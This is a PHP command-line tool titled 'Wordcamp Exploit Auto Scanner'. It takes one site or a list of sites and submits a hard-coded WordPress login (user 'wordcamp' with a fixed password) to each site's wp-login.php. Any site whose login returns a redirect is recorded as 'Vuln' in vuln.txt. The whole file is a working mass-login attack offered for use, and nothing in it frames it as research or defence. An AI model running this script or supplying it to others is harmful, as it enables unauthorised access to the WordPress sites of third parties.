Wordcamp Exploit Auto Scanner

<?php
define("author","\e[92m");
define("chose","\e[94m");
define("chose2","\e[33m");
define("red","\e[31m");
class Scan{
    public function Save($save,$name){
        $result = fopen($name, "a+");
        fwrite($result, "$save\n");
        fclose($result);
    }
    public function exploit($url){
        $ch  = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url."/wp-login.php");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 OPR/49.0.2725.47");
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "log=wordcamp&pwd=z43218765z&wp-submit=LogIn&redirect_to=$url/wp-admin/");
        curl_setopt($ch, CURLOPT_POST, 1);
        $exe = curl_exec($ch);
        $info = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        return $info;
    }
    public function login($url){
        $ch  = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url."/wp-login.php");
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
        $exe = curl_exec($ch);
        $info = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        return $info;
    }
    public function Site($site){
        if(!preg_match('#^http(s)?://#',$site)){
            $web = "https://".$site;
        }
        else {
            $web = $site;
        }
        if ($this->login($web) == 200) {
            if ($this->exploit($web) == 302) {
                echo author."Vuln : $site/wp-login.php\n";
                $this->Save($web, "vuln.txt");
            }
            else {
                echo red."Not Vuln : $web\n";
            }
        }
        else {
            echo red."Not Vuln : $web\n";
        }
    }
    public function Chose(){
        echo author."\n[#] Author ./EcchiExploit [#]\n";
        echo author."[$] Wordcamp Exploit Site Scanner [$]\n\n";
        echo chose."\t\t1. Mass Scan\n";
        echo chose2."\t\t2. Not Mass Scan\n";
        $chose = readline("Chose : ");
        switch ($chose) {
            case 1:
                $list = readline("List Site : ");
                if(!file_exists($list)) die("File List ".$list." Not Found");
                $domain =  explode("\n", file_get_contents($list));
                foreach ($domain as $web) {
                    $this->Site($web);
                }
                break;
            case 2:
                $url = readline("Your Site (example.com) : ");
                $this->Site($url);
                break;
            default:
                echo "Fuck You!!\n";
                break;
        }
        $this->Again();
    }
    public function Again(){
        $return = readline("Again?? (y/n) : ");
        if ($return == "y" || $return == "Y") {
            $this->Chose();
        }
        else {
            echo "Thanks!!";
        }
    }
}
$test = new Scan();
$test->Chose();
?>